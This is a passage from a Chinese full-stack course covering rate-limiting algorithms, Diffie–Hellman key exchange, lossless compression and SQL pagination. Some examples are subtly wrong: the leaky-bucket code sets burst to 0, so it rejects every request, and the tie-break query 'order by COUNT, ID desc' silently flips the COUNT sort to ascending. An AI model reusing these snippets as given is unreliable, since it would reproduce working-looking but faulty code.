每分钟调用不能超过一万次；

每小时调用不能超过十万次；

每天调用不能超过一百万次；

每周调用不能超过一千万次；

……

在继续往下阅读之前，请你先从算法和数据结构的角度思考，你觉得该怎么设计这个流量控制系统呢？

简化问题

在解决实际问题的时候，我们面临的问题往往是复杂的、多样的，因此，我们可以考虑能不能先简化问题，再来尝试映射到某一个数学模型上。那些先不考虑的复杂条件，有的可能就是可以忽略掉的，而有的则是为了思路的清晰。一开始我们可以先忽略，有了解题的方法原型以后，再逐步加回来考虑。

那就这个问题而言，我可以做如下的简化：

有大量的用户账户 ID，但是我们现在只考虑某一个特定的账户 ID，反正其它账户 ID 的做法也是一样的；

这里面有多个 Web API，但是我们可以只考虑其中特定的一个 API，反正其它 API 也是类似的；

这里面有多条规则，但是我们可以只考虑其中的一个规则，即“每分钟调用不能超过一万次”，至于其它的规则，原理上也是一样的。

为了简化问题，在这里我们也暂不考虑并发、分布式、线程安全等问题。

好，现在问题就简单多了，当我们把这个简化了的问题解决了之后，我们再引入多个用户 ID、多个 API 和多条规则这样的维度：

public class RateLimiter {
    public boolean isAllowed() {
        ... // 当每分钟调用不超过 10000 次，就返回 true，否则返回 false
    }
}

简单计数

好，最先进入脑海的是采用简单计数的办法，我们给 RateLimiter 一个起始时间的时间戳。如果当前时间在距离起始时间一分钟以内，我们就看当前已经放进来了多少个请求，如果是 10000 个以内，就允许访问，否则就拒绝访问；如果当前时间已经超过了起始时间一分钟，就更新时间戳，并清零计数器。参考代码如下：

public class RateLimiter {
    private long start = System.currentTimeMillis();
    private int count = 0;

    public boolean isAllowed() {
        long now = System.currentTimeMillis();
        if (now-start > 60*1000) {
            start = now - (now-start)%(60*1000); // 所在时间窗口的起始位置
            count = 0;
        }

        if (count < 10000) {
            count++;
            return true;
        }
        return false;
    }
}

这样这个问题似乎就得到了解决。可是，刚才我们在解决问题的时候，似乎“擅自”强化了一个条件……

从固定窗口到滑动窗口

这个条件就是“固定时间窗口”。

举个例子，从 3:00 到 3:01 这一分钟时间内，假如系统收到了 9000 个请求，而在 3:01 到 3:02 这接着的一分钟内，系统也收到了 9000 个请求，二者都满足要求。但是，这是我们给了一个假定的增强条件——固定时间窗口，而得到的结论。

假如说前面这 9000 个请求都分布在 3:00:30 到 3:01:00 之间，后面这 9000 个请求都分布在 3:01:00 到 3:01:30 之间，即从 3 点 00 分 30 秒 到 3 点 01 分 30 秒这一分钟内，系统居然接纳了 9000 + 9000 = 18000 个请求。因此，如果我们考虑的是“滑动时间窗口”，这显然违背了我们的每分钟一万次最大请求量的规则。请看下图：

因此，相较来说，更实际的情况下，我们是要支持滑动时间窗口，也就是任意一分钟的时间窗口内，都要满足小于 10000 请求量的规则。看来，简单计数法需要改进。

时间队列

对于滑动窗口的问题，我们经常要引入队列来解决问题。因为队列的特点是先进先出，一头进，另一头出，而很多滑动窗口的问题，恰恰需要这个特性，这个问题也不例外。

假如我们维护一个最近时间戳的队列，这个队列长度不能超过 10000，那么，当新的请求到来的时候，我们只需要找到从“当前时间减 1 分钟”到“当前时间”这样一个滑动窗口区间。如果队列的尾部有任何存储的时间戳在这个区间之外（一分钟以前），那我们就把它从队列中拿掉。如果队列长度小于 10000，那么这个新的请求的时间戳就可以入队列，允许请求访问；反之，则不允许请求访问。请看下图：

这个过程，参考代码如下：

public class RateLimiter {
    private Queue<Long> queue = new LinkedList<>();

    public boolean isAllowed() {
        long now = System.currentTimeMillis();
        while (!queue.isEmpty() && queue.peek() < now-60*1000) {
            // 如果请求已经是在一分钟以前了，忽略
            queue.remove();
        }
        if (queue.size() < 10000) {
            queue.add(now);
            return true;
        }
        return false;
    }
}

你可以看到，这个算法从时间消耗上看，颇为高效，但是在支持滑动窗口的同时，我们也能看到，付出的代价是一个数量级上相当于窗口宽度的空间复杂度，其实它就是这个队列的空间消耗，在这里队列最大长度就是 10000。

如果我们允许队列的长度较大，队列造成的空间消耗和单个处理请求的最大时间消耗就可能会成为问题，我们能优化一下吗？

能。那么这种情况下，一种“妥协”的办法就是，队列中的每个元素，不再是实际请求精确到毫秒的时间戳，而是特定某一秒中包含的请求数目，比如队列的其中一个元素表示 3:00:01 到 3:00:02 之间对应有 150 个请求。用这种方法，对于上述这个一分钟内流量限制的问题，我们可以把队列长度严格控制在 60（因为是 60 秒），每个元素都表示特定某一秒中的请求数目。当然，这个方法损失的是时间窗口毫秒级的精度。而这，就是我们控制时间窗口队列的长度所采用的一种较为常见的优化方式，它虽损失了精度，但却降低了空间复杂度。

好，规则已经做到严格匹配了，可是在实际应用中，在很多情况下，这还是有问题。为什么呢？

细化控制粒度

这要从流量控制的动机说起，我们建立流量控制这个系统的目的，是为了避免对于系统的冲击，而无论使用固定窗口，还是滑动窗口，根据当前的规则，我们都只能限定这个一分钟窗口内的流量符合要求，却不能做到更细粒度的控制。

举个极端的例子，一分钟内这一万个请求，如果均匀地分布在这一分钟的窗口中，系统很可能就不会出问题；但如果这一万个请求，全部集中在最开始的一秒钟内，系统就压垮了，这样的流量控制就没有起到有效的防御作用了。

那好，如果我们要做到系统可以接受的更细的粒度。举例来说，如果我们可以做到按秒控制，那么继续按照 10000 个 / 分钟来计算的话，这个限制就可以换算成不要超过 10000/60 ≈ 167 个 / 秒。

漏桶算法

漏桶（Leaky Bucket）算法就是可以带来更细粒度控制的限流算法，它的粒度取决于系统所支持的准确最小时间间隔，比如毫秒。

你可以想象一个有缺漏的桶，无论我们怎样往里面放水（发送请求），水都有可能以两种方式从桶中排出来：

从漏口往外流，如果桶中有水，这个流速是一定的（这就是系统满载时，限流的流速）；

注水太快，水从桶中溢出（这就是请求被拒绝了，限流效果产生）。

另外，由于请求的最小单位是一个，因此桶的大小不得小于 1。我们要求请求发送的速度不得小于漏水的速度，但我们更多时候会设置一定的桶容量，这就意味着系统允许一定程度的富余以应对突发量。这个桶大小，也就是突发量，被称为 burst。

于是，我们每次都可以根据流速以及上一次的流量检测时间，获知在考虑漏水的情况下，如果接纳当前请求，那么桶中将达到怎样的水位，是否会超过 burst。如果不超过，就允许此次访问，反之拒绝。参考代码如下：

public class RateLimiter {
    private float leakingRate = 10000f/60/1000; // 每一毫秒能够漏掉的水
    private float remaining = 0; // 桶中余下的水
    private float burst = 0;  // 桶容量
    private long lastTime = System.currentTimeMillis(); // 最近一次流量检测时间

    public boolean isAllowed() {
        long now = System.currentTimeMillis();
        remaining = Math.max(0, remaining - (now-lastTime)*leakingRate); // 如果漏完了，余下的就是 0，不能出现负数
        lastTime = now;

        if (remaining+1 <= burst) {
            remaining++;
            return true;
        }
        return false;
    }
}

从复杂度上你也可以看到，我们通过变量 remaining 记录每一个请求到达的时刻，桶中水的余量，整个空间复杂度是常量级的。当然了，我们的控制已经不是针对“一分钟规则”了，控制粒度上更加细化，更符合我们对系统保护的实际要求，因此这个方法的应用更广。

令牌桶算法

还有一种和漏桶算法本质上一致，但是实现上有所不同的方法，叫做令牌桶（Token Bucket）算法。说它们实现上不同是因为，漏桶是不断往外漏水，看能不能把陆续到来的请求给消耗掉；而令牌桶呢，则是在令牌桶内会定期放入令牌，每一个请求到来，都要去令牌桶内取令牌，取得了才可以继续访问系统，否则就会被流量控制系统拒绝掉。

就像我们的问题，每 60*1000/10000 = 6 毫秒就要向令牌桶内放置一个令牌。和前面的漏桶算法一样，我们并不一定要真的建立一个放入令牌的线程来做这个放入令牌的工作，而是使用和上面类似的算法，在请求到来的时候，根据上次剩余的令牌数和上次之后流逝的时间，计算当前桶内是否还有完整的一张令牌，如果没有令牌，就拒绝请求，否则允许请求。因此，从这个角度说，漏桶和令牌桶这二者在思想本质上是一致的。

总结思考

今天我通过一个常见的流量控制系统，向你介绍了全栈开发中几个典型的算法，包括基于固定时间窗口的简单计数法，滑动时间窗口的队列法，还有实际应用中更为常见的漏桶算法和令牌桶算法。希望通过今天的学习，你已经理解了它们的工作原理。

现在我来提两个问题吧：

漏桶算法我给出了示例代码，而具有一定相似性的令牌桶算法我没有给出示例代码，如果你理解了这两者，能否写出令牌桶算法的代码呢？

为了简化问题，我在一开始的时候讲了，我们不考虑并发的问题。现在，如果我们把上面无论哪一种算法的代码，改成支持多个线程并发访问的情形，即要求保证线程安全，你觉得需要对代码做怎样的修改呢？

选修课堂：Diffie–Hellman 密钥交换

我们在 [第 02 讲] 中介绍 HTTPS 加密的时候，提到了 Pre-master Secret 生成的方式，其中一种就是 Diffie–Hellman 密钥交换这一算法的变种（如有遗忘，请回看），但是，我们并没有讲其中加密具体的算法原理。那么，下面我就来看一下 Diffie–Hellman 密钥交换，这个常见的 HTTPS 加密算法，是怎样做到正向计算简单、逆向求解困难，来保证安全性的。

密钥计算过程

Diffie–Hellman 密钥交换是一种在非保护信道中安全地创建共享密钥方法，它的出现在如今众所周知的 RSA 算法发明之前。现在让我们来玩一个角色扮演游戏，假设你要和我进行通信，我们就来使用这种办法安全地创建共享密钥：

通信的你和我都协议商定了质数 p 和另一个底数 g；

你呢，先生成一个只有你自己知道的随机整数 a，并将结果 A = gᵃ mod p 发给我；

我呢，也生成一个只有我自己知道的随机整数 b，并将结果 B = gᵇ mod p 发给你；

你根据我发过来的 B，计算得到 s = Bᵃ mod p；

我根据你发过来的 A，计算得到 s’ = Aᵇ mod p。

这个过程用简单的图示来表示就是：

你看，整个过程中，只有 a、b 这两个数分别是你和我各自知道并保密的，而其它交换的数据全部都是公开的。对于你来说，已经有了 a，又得到我传过来的 B，于是你算出了 s；对于我来说，已经有了 b，又得到了你传过来的 A，于是我算出了 s’。

有趣的是，经过计算，你得到的 s 和我得到的 s’，这两个数总是相等的，既然相等，那这个值也就可以用作你我之间通信的对称密钥了。也就是说，通信双方分别算得了相等的密钥，这也就避免了密钥传递的风险。可是，为什么 s 和 s’ 它们是相等的呢？

质数和模幂运算

因为，g 的 a 次方再 b 次方，等于 g 的 b 次方再 a 次方，即便每次幂运算后加上 p 来取模，也不影响最后结果的相等性，换言之：

gᵃᵇ mod p = (gᵃ mod p)ᵇ mod p = (gᵇ mod p)ᵃ mod p

上面这样的，先求幂，再取模的运算，我们把它简单称为“模幂运算”。在实际应用中，g 可以取一个比较小的数，而 a、b 和 p，都要取非常大的数，而且 p 往往会取一个“极大”的质数——因为质数在此会具备这样一个重要性质，模幂运算结果会在小于 p 的非负整数中均匀分布；而另外一个原因是，由于 g 的 a 次方或 b 次方会非常大，需要一个“上限”，一个使得生成的数无论是传输还是存储都能够可行的方法。因此大质数 p 的取模运算被用来设定上限并将大数化小，且保持原有的逆向求解困难性。

说到逆向求解的困难性，这是根据数学上离散对数求解的特性所决定的，具体说来，就是这样一个模幂等式：

gᵃ mod p = A

从难度上看，该式具有如下三个特性：

特性 ①：已知 g、a 和 p，求 A 容易；

特性 ②：已知 g、p 和 A，求 a 困难；

特性 ③：已知 a、p 和 A，求 g 也困难。

正好，Diffie–Hellman 密钥交换利用了其中的特性 ① 和特性 ②。比如 a 是超过 100 位的正整数，而 p 则达到了 300 位，那么在这种情况下，如果有恶意的攻击者，得到了 g、p，截获了 A，但是他根据这些信息，考虑我们前面介绍的公式 A = gᵃ mod p，在现有科技能达到的算力下，几乎是无法求解出其中的 a 来的。无法知道 a，无法进而求得对称密钥 s（因为 s 需要通过 Bᵃ mod p 求得），这就起到了加密的作用，这也是 Diffie–Hellman 密钥交换能够实现的原理。

扩展阅读

【基础】文中我提到了算法的时间复杂度和空间复杂度，这是属于算法的基础知识。如果不太熟悉的话可以阅读一下这个词条，以及这篇文章，而在这里则有常见算法的时间复杂度列表。

选修课堂中介绍的 Diffie–Hellman 密钥交换利用了模幂公式的“正向计算简单，逆向求解困难”这一特点，这个特点非常重要，还有一个相关的技术 RSA 也利用了这一特点。本来我是把 RSA 加密技术的原理介绍和 Diffie–Hellman 密钥交换放在一起讲述的，但是经过仔细斟酌，我觉得 RSA 涉及到的数学知识稍多，整体理解起来明显偏难，因此为了专栏内容和难度的一致性，我忍痛把它拿出去了，并放在了我自己的博客上，感兴趣的话可以移步阅读。

37 | 全栈开发中的算法（下）

你好，我是四火。

今天，我们来继续学习一些全栈开发中影响深远的算法，我们这次的归类是无损压缩算法。无损压缩，顾名思义就是经过压缩以后，数据的大小降下来了，但是只要经过还原，原始数据是一点都不丢失的。和无损压缩对应的，显然就叫做“有损压缩”了，它们能够做到在牺牲一定程度原数据质量的基础上，比有损压缩获得额外的压缩比。

无损压缩的算法其实有很多，但无论是哪一种，里面都没有多么神奇的把戏，它们的最基本原理都是一致的，就是利用数据的重复性（冗余性）。在经过某种无损压缩以后，由于数据的重复性已经降下来了，因此再压缩就无法获益了。

哈夫曼编码

不管是在哪一本系统介绍压缩算法的书中，那么多的无损压缩算法，哈夫曼编码（Huffman Coding）基本都是需要我们最先接触学习的那一个。哈夫曼编码从原理上看，它会根据字符的出现频率，来决定使用怎样的编码方式，并且是变长编码的一种。相应地，程序员熟悉的 ASCII 码，就是定长编码，因为总共就 128 个字符，不管是哪一个字符，占用的长度都是一样的。

下面我们来看一下哈夫曼编码的大致过程：

首先，统计被加密数据中每个字符出现的频率，把它们从高到低排好。比如下面这个表，就是某一段文字的字母出现的次数统计表格，你可以看到这些字母出现的次数是从左到右依次增加的：

接下去，我们就可以从表格的左侧开始取数据，并自下而上地构造哈夫曼树了。

我们每次只考虑表格中“出现次数”最少的两列。第一次，我们发现出现次数最少的是字母 h，其次是 f，因此分别构造最底层的两个叶子节点 h 和 f，并将它们的和 5 + 6 = 11 也求出来，构造成为它们的父节点：

同时，我们更新这个统计表格，使用这个父节点去代替它原本的两个节点 h 和 f，依然保持各列按照出现次数递增排列：

继续按照上面的操作，现在值最小的两个节点，分别为 7 和 8，因此现在这张图变成了：

而表格变成了：

继续，现在值最小的两个节点，分别对应 11 和 15：

表格变成了：

继续：

表格只有两列数据了：

好，这棵树构造完成，这时候表格里只剩下一列了，即 e+a+h+f+t+d=76，我就不列出来了。在树构造完成后，我们给图中所有的左分支赋值 0，右分支赋值 1：

这就是哈夫曼树。

你可以看到，每一个叶子节点，都代表了我们希望加密的字符。只要从根部开始，往叶子节点的方向按照最短路径的方式遍历（图中箭头的逆向），每一条路径都对应了实际的哈夫曼编码。按照这个规则，让我们给最开始的那个记录字符出现次数的表格加上一行：

你可以看到，大致的规律是，出现频率越高的字符，编码串的长度就越短。如果有一个单词 date，它的编码就是：

这就是哈夫曼编码的原理，但是由于哈夫曼编码是变长的，为了解码端能够准确地解码，就需要编码端同时附上字母到编码的映射关系表（就是上面那个表格，出现次数一行可以删掉，剩下两行保留），也就是所谓的“编码表”。

RLE 编码

RLE 编码，即 Run-Length Encoding，是一种原理非常简单的压缩编码方式，它利用的就是字符的“简单重复”。并且有意思的是，这种编码方式和很多其它压缩编码方式不冲突，也就是说，数据可以以特定的方式经过 RLE 编码后，再使用哈夫曼等其它方式进一步压缩编码。

举个例子，如果有这样一段单个字符重复率比较高的原串：

AAAAABBCDDDDDDD

它就可以使用 RLE 的方式编码成：

5A2B1C7D

这表示这段原数据中有 5 个连续的 A，2 个连续的 B，1 个 C 和 7 个连续的 D。

这种方式下，不知你是否想到，也可能存在问题。比如说，如果连续字符重复的比率很低，像是这样一段字符：

ABCDABCD

按照刚才的规则，它就会被编码成：

1A1B1C1D1A1B1C1D

什么嘛，编码后居然比原字符串还长！

因此，RLE 这种压缩编码方式，更适合于连续字符发生率较高的数据。比方说黑白的栅格图像（关于栅格图像的概念，你可以参考 [第 18 讲]），里面往往存在着大片大片的重复字符。

算术编码

算术编码，即 Arithmetic Coding，我们可以拿它和哈夫曼编码比较起来看：二者都会根据字符的出现频率来设定编码规则，但哈夫曼编码针对的单位是单个字符，每个字符对应一个数；而算术编码，则是整个消息串（编码单元）编码成一个数。

举个例子，某数据可能由四个字母组成，每个字母出现的概率如下：

根据上面的统计，假如说现在我们要给单词 eat 来进行算术编码。

第一步：我们先把 0 到 1 的范围按照该比例划分成这样 4 个区域，第一个字母 e 就在从 60% 到 100% 的位置（每一个区域，都是左闭右开的区间，比如 t 的区间是 [0, 10%)）。

第二步：接下来是字母 a，我们把上面 e 这个区域，即 [60%, 100%)，按照同样的比例划分成 4 个区域，根据同样的计算，a 的位置在 72% 到 84% 这一段上。

第三步：最后是字母 t，做法也依然如此，把上面 a 这个区域按照同一比例划分成 4 个 区域，t 的位置在 72% 到 73.2% 这一段区域内。

那么，我们就可以给它取 73%，因为它就在最后的区域 t 内，当然，在编码中我们可以去掉百分号。因此，基于上面的统计，eat 这个单词，就可以采用算术编码成数值 73。也就是说，通过这种方法，一段编码前的数据，最后编码成了一个数。

这就是算术编码的大致原理，根据已知的统计，将给定数据段进行划分，原则就是让出现概率较大的字符根据比例来分配到相对更大的数据段，解码方根据编码方提供的这一依赖统计数据，就可以做出准确的解码。

当然，上面作为一个示例，是做了相当的简化了的，在实际应用中，还有很多因素需要我们考虑，比如：

1. 采用二进制来代替十进制

我们使用十进制，仅仅是示例之用，为了便于让你理解。实际上，使用二进制可以减小“浪费”的字符，从而缩短编码后的长度，提高压缩比。我们还是拿上面的那个例子来说，72% 和 73% 在数值位数长度相同的情况下都可以表示 eat 这个词，这就是一定程度上的浪费。最理想的状况，应当是用于压缩后数据表达的数值，可以按照比例“恰好”地去覆盖所有被编码的数据组合——而不存在某一种表达是冗余的，或者说对应的被编码的实际数据组合不存在。

2. 引入结束字符

通常我们不会把整个输入完全使用一个编码数值来表示，而是将输入根据某种规则划分成若干个部分，分别采用算术编码处理。比如一段英文文字，就可以使用空格来标识每一个单词的结束，因此像空格这样的“结束符”需要考虑到编码字符内。

3. 适当考虑条件概率

你看，上面例子中的第一步、第二步和第三步，t、d、a、e 的分布都是一样的，但是实际上，这个分布在“前一个”字母确定的情况下，是可以有变化的。举个例子，前面提到的字母概率分布，在“前一个字母为 t”的前提下，当前字母的概率遵循如下表格：

你可以看到，这个条件下的统计和前文比，发生了明显的变化，我们说它是“1 级”条件概率。如果我们讨论，在前两个字母分别是 t 和 e 的前提下，接着看第三个字母的概率分布，这时的条件概率其实就到“2 级”了。

你也可以想象，由于排列组合的关系，我们不可能无限地考虑条件概率，考虑 n 级条件概率，这个编码表的大小就是最初编码表大小的 n 次方，因此条件概率的选择，我们要么选择某几个特定字母（规则）的条件概率，比如我们只考虑字母 t 和字母 d 的条件概率；要么严格限制条件概率的级数，比如就实现 1 或 2 级的条件概率。

4. 将静态模型改进为自适应模型

算术编码需要在统计数据的指导下进行，我们当然希望统计数据可以精确。我们的例子中，统计信息是预先确定的，即什么字母的出现概率是百分之几都是已经知道的。也就是说，我们应用的是“静态模型”，对于静态模型来说，我们可以相对容易地追求最佳的压缩比。

但是在实际应用中，很多时候我们是不知道这个的，或者说，即便知道，这个值也是在不断变化的。使用静态模型的问题也就在这里，如果用一个静态的统计去指导一个动态变化的问题，就像刻舟求剑一样，哪怕一开始编码是高效的，很快这个压缩率就降下来了。

因此我们经常需要把静态模型变成自适应模型。如果还是前面那个例子显示的四个字母，假如说在一开始的时候 ，这些字母将在待编码的数据中出现的概率是未知的，那么我们可以简单地认为“每个字母都已经出现了 1 次”：

那么，随着我们的编码流程向下进行，每次编码，或者每几次编码前这个概率统计，就会根据当前情况得到更新，再来指导下面的编码，不过算法和前面保持不变。

比如读入第一个字符 e 以后，这个统计表格就变成了：

再读入一个字符 a，这个统计表格就变成了：

你看，随着编码的不断进行，这个统计表格会不断自我修正。如果源数据的字母分布在数据量增大的时候是收敛的，即不断趋近于某一个相应的比例，那么这个统计也会不断接近它，因此随着时间的流逝，压缩工作的进行，压缩的效果会越来越好。

但是，在很多实际的场景中，这个分布统计并不是收敛的，而是随着时间的流逝会不断变化的。举例来说，视频直播，随着播放的进行，统计数据需要时不时地发起更新，因为视频在不断变化，某一时间段内重复率高的数据串，可能到了下一个时间段内就变了。这时候，对于统计数据的生成就值得做文章了，比如我们可以选取一个适当的时间权重，越是新的数据 ，权重越大，这种情况下我们得到的统计就具有一定的即时性了，而一些较老的数据，显然对于统计分布的影响就很小了，而老到一定程度的数据，甚至就直接忽略掉好了。

于是，通过这种方式，统计数据不断地随着实际数据流的变化而变化，那么编码的规则（编码表）就可以实现不断地自我调整，去适应数据的变化，这也是一些视频流编码都采用自适应模型的原因。

好，现在我们回过头来看看哈夫曼编码和算术编码，它们尽管在技术实现上有着诸多不同，但是它们的压缩过程，都包含了这样两个步骤，这也是大部分时候我们使用的压缩算法实际上所遵循的两个步骤：

第一步，分析并计算得到原始数据的统计模型；

第二步，根据统计模型，将相对较多出现的数据用较短的编码串表示，而较少出现的数据用较长的编码串表示。

总结思考

今天我们学习了无损压缩算法中较为基础的几种，事实上，对于我们日常接触的那些实际的、商用的压缩算法，往往都是这些基础技术的综合使用。好，希望你已经理解了这些算法的本。

现在又到了提问时间：

对比哈夫曼编码和算术编码，你能否比较并分别说出二者的优劣？

关于哈夫曼编码，如果编码后的串，其中的某个数值（无论是 0 还是 1）丢失了，你觉得这样的数据损坏，会导致多大比例的数据无法被正确解码？

你可以回想一下上一讲的选修课堂，和本讲一样，都是将原数据进行某种特定的编码以后，得到目标数据，但是二者的目的是截然不同的，前者是为了加密，保护原始信息不被泄露、不被篡改，而后者是为了压缩，减少存储和传输数据的大小。

好，今天就到这里，不知道你是否在全栈开发的算法学习后有所收获，欢迎你和我分享你的思考。

扩展阅读

今天我介绍了几个较为基础和经典的无损压缩算法，你可以在这里查看无损压缩的其它算法。就如同软件开发没有银弹一样，不同的无损压缩算法擅长于不同的数据类型和特定的数据重复模式，没有一种通用的方法可以对所有的数据压缩都做到最好。

对于哈夫曼树的生成，这里有一个网站，可以根据你输入的字符串，图形化地展示哈夫曼树。

这两讲我介绍了一些全栈开发中重要的算法，但是还有许多其它很有意思、也很有地位的算法，推荐你阅读 InfoQ 上的这篇译文——计算机科学中最重要的 32 个算法。

38 | 分页的那些事儿

你好，我是四火。

分页是全栈开发中非常常见的一个功能，绝大多数网站都需要用到。这个功能可谓麻雀虽小五脏俱全，是从呈现层、控制器层、到模型层，并和数据存储密切相关的真正的“全栈”功能。有时候你能见到一些清晰、明确的分页，也就是说，你能看到某一个内容的呈现被分成若干页，而当前又是在第几页；而有时候这个功能则是部分模糊了的，比方说，能翻页，但是并不显示总共有多少页。那今天，就让我们来了解一些典型的分页方法，理解分页的一些常见问题和它们的解决方式。

物理分页和逻辑分页

物理分页一般指的就是数据库分页，而逻辑分页则是程序员口中的“内存分页”。前者是通过条件查询的方式，从数据库中取出特定的数据段来，而后者，则是在完整数据都加载在内存中的情况下，从中取出特定段的数据来。

显然我们一般情况下更关注物理分页，因为内存的大小总是更为有限，多数情况下我们希望通过条件查询的方式去数据库中取出特定页来。但是也有反例，比方说某些数据量不大，但是访问频率较高的数据，以“缓存”的形式预加载到内存中，再根据客户端的分页条件返回数据，这种方式一样可以遵循分页接口，但是由于被分页的数据是全部在内存中的，这样的数据一般需要遵循如下几个要求：

数据量不大，可以放在内存中；

一致性满足要求，或者使用专门的设计维护内存中数据的一致性；

持久性方面，数据允许丢失，因为在内存中，断电即丢失。

分页代码设计

分页这个事儿从功能抽象的角度看基本不复杂，但是我们也经常能看到不同的实现。比较常见的有两种，指定页码的分页，以及使用 token 的分页，当然，严格来说，页码其实是 token 的一种特殊形式。就以指定页码的分页为例，在实际代码层面上，我见到的分页代码设计包括这样两种。

单独的分页工具类

第一种是彻底把 DAO 的查询逻辑拿出去，创建一个单独的分页工具类 Paginator。这个工具的实例对象只负责分页状态的存储和变更，不知道也不管理数据，在实例化的时候需要 totalCount 和 pageSize 两个参数，前者表示总共有多少条数据，后者表示每一页最多显示多少条。

DAO 的查询接口自己去创建或者接纳一个 Paginatior 对象，其实现会调用对象的 getStart() 和 getEnd() 方法，从而知道查询时数据的范围。请看这个 Paginatior 的例子，我把方法内的具体实现省略了：

class Paginatior {
    public Paginatior(int totalCount, int pageSize) {}

    // 翻页
    public void turnToNextPage() {}
    public void turnToPrevPage() {}
    public void setPageNo(int pageNo) {}

    // 数据访问层需要的 start 和 end
    public int getStart() {}
    public int getEnd() {}

    // 是否还有上一页、下一页
    public boolean hasNextPage() {}
    public boolean hasPrevPage() {}

    // 当前在哪一页
    public int getPageNo() {}
}

绑定查询结果的分页对象

第二种则将分页对象和查询数据的结果集绑定在一起，有的是将结果集对象继承自一个分页类，有的则是将结果集对象以组合的方式放到分页对象里面，数据访问层直接返回这个携带实际数据的分页对象。从优先使用组合而不是继承的角度来说，组合的方式通常更好一些。

具体说，我们可以定义这样的分页对象：

public class Page<T> {
    private int pageNo;
    private int totalCount;
    private int pageSize;
    private Collection<T> data; // 当前页的实际业务对象

    public Page(Collection<T> data, int pageSize, int pageNo, int totalCount) {
        this.data = data;
        this.pageSize = pageSize;
        this.pageNo = pageNo;
        this.totalCount = totalCount;
    }

    public int getPageSize() {}
    public int getPageNo() {}
    public int getTotalPages() {}
    public int getLastPageNo() {}
    public Collection<T> getData() {}
}

你看，这个分页对象和前面的那个例子不同，它将 DAO（数据访问对象，在 [第 12 讲] 有介绍）的某次查询的结果，也就是某一页上的数据集合，给包装起来了。因此这个对象是由 DAO 返回的，并且里面的数据仅仅是特定某一页的，这也是它没有提供用于翻页的方法的原因——具体要访问哪一页的数据，需要将页码和页面大小这样的信息传给 DAO 去处理。

其它方法

比如说，如果按照充血模型的方式来设计（关于充血模型是什么，以及代码实现的例子，你可以参见 [第 08 讲]），则可以把这个 Page 对象和 DAO 的代码整合起来，放到同一个有状态的业务对象上面去，这样这个对象既携带了业务数据，又携带了分页信息。当然，这个方法的区别其实只是贫血模型和充血模型的区别，从分页设计的角度上来看，和上面的第二种其实没有本质区别。

此外，一些“管得宽”的持久层 ORM 框架，往往也把分页的事情给包装了，给开发人员开放易于使用的分页接口。比方说 Hibernate，你看这样一个例子：

session
.createCriteria(Example.class)
.setFirstResult(10)
.setMaxResults(5)
.list();

这就是通过 Hibernate 的 Criteria Query API 来实现的，代码也很易于理解。当然，如果想要取得总行数，那可以用 Projection：

session
.createCriteria(Example.class)
.setProjection(Projections.rowCount())
.list()
.get(0);

SQL 实现

如果使用关系数据库，那么落实到 SQL 上，以 MySQL 为例，大致是这样的：

select * from TABLE_NAME limit 3, 4;

limit 后面有两个参数，第一个表示从下标为 3 的行开始返回，第二个表示一共最多返回 4 行数据。

但是，如果使用的是 Oracle 数据库，很多朋友都知道可以使用行号 rownum，可是这里面有一个小坑——Oracle 给 rownum 赋值发生在当条子句的主干执行完毕后，比如说：

select * from TABLE_NAME where rownum between 2 and 4;

如果表里面有 100 行数据，那么你觉得上面那条 SQL 会返回什么？

返回 2 行到第 4 行的数据吗？不对，它什么都不会返回。

这是为什么呢？因为对每一行数据，执行完毕以后才判断它的 rownum，于是：

第一行执行后的 rownum 就是 1，而因为不符合“2 到 4”的条件，因此该行遍历后，就从结果集中抛弃了；

于是执行第二行，由于前面那行被抛弃了，那这一行是新的一行，因此它的 rownum 还是 1，显然还是不符合条件，抛弃；

每一行都这样操作，结果就是，所有行都被抛弃，因此什么数据都没有返回。

解决方法也不难，用一个嵌套就好，让里面那层返回从第 1 条到第 4 条数据，并给 rownum 赋一个新的变量名 r，外面那层再过滤，取得 r 大于等于 3 的数据：

select * from (select e.*, rownum r from TABLE_NAME e where rownum<=4) where r>=3;

重复数据的问题

下面我们再看一个分页的常见问题——不同页之间的重复数据。

这个问题指的是，某一条数据，在查询某一个接口第一页的时候，就返回了；可是查询第二页的时候，又返回了。

我来举个例子：

select NAME, DESC from PRODUCTS order by COUNT desc limit 0, 50;

这个查询是要根据产品的数量倒序排序，然后列出第一页（前 50 条）来。

接着查询第二页：

select NAME, DESC from PRODUCTS order by COUNT desc limit 50, 50;

结果发现有某一个产品数据，同时出现在第一页和第二页上。按理说，这是不应当发生的，这条数据要么在第一页，要么在第二页，怎么能同时在第一页和第二页上呢？

其实，这只是问题现象，而其中的原因是不确定的，比如说有这样两种可能。

排序不稳定

第一种是因为查询的结果排序不稳定。

说到这个“不稳定”，其实本质上就是排序算法的“不稳定”。如果对算法中的排序算法比较熟悉的话，你应该知道，我们说排序算法稳不稳定，说的是当两个元素对排序来说“相等”的时候，是不是能够维持次序和排序前一样。比如有这样一组数：

1, 2a, 5, 2b, 3

这里面有两个 2，但是为了区分，其中一个叫做 2a，另一个叫做 2b。现在 2a 在 2b 前面，如果排序以后，2a 还是能够保证排在 2b 前面，那么这个排序就是稳定的，反之则是不稳定的。有很多排序是稳定的，比如冒泡排序、插入排序，还有归并排序；但也有很多是不稳定的，比如希尔排序、快排和堆排序。

再回到我们的问题上，分页查询是根据 COUNT 来排序的，如果多条数据，它们的 COUNT 一样，而在某些数据库（包括某些特定版本）下，查询的排序是不稳定的。这样就可能出现，这个相同 COUNT 的产品记录，在结果集中出现的顺序不一致的问题，那也就可能出现某条记录在第一页的查询中出现过了，而在第二页的查询中又出现了一遍。

其实，从数据库的角度来说，在我们根据上述代码要求数据库返回数据的时候，COUNT 相同的情况下，可并没有要求数据库一定要严格遵循某一个顺序啊，因此严格说起来，数据库这么做本身也是没有什么不对的。

无论如何，问题如果明确是这一个，那么解决方法就比较清楚了。既然问题只会在 COUNT 相同的时候出现，那么上例中，我们给 order by 增加一个次要条件——ID，而因为 ID 是表的主键，不可能出现重复，因此在 COUNT 相同的时候排序一定是严格按照 ID 来递减的，这样也就可以保证排序不会因为“不稳定”而造成问题：

select NAME, DESC from PRODUCTS order by COUNT, ID desc limit 0, 50;

数据本身变化

第二个造成重复数据问题的原因是数据本身的变化。

这个也不难理解，比如还是上面这行 SQL：

select NAME, DESC from PRODUCTS order by COUNT, ID desc limit 0, 50;

本来有一行数据是在第二页的开头，用户在上述查询执行后，这行数据突然发生了变化，COUNT 增加了不少，于是挤到第一页去了，那么相应地，第一页的最后一条数据就被挤到第二页了，于是这时候用户再来查询第二页的数据：

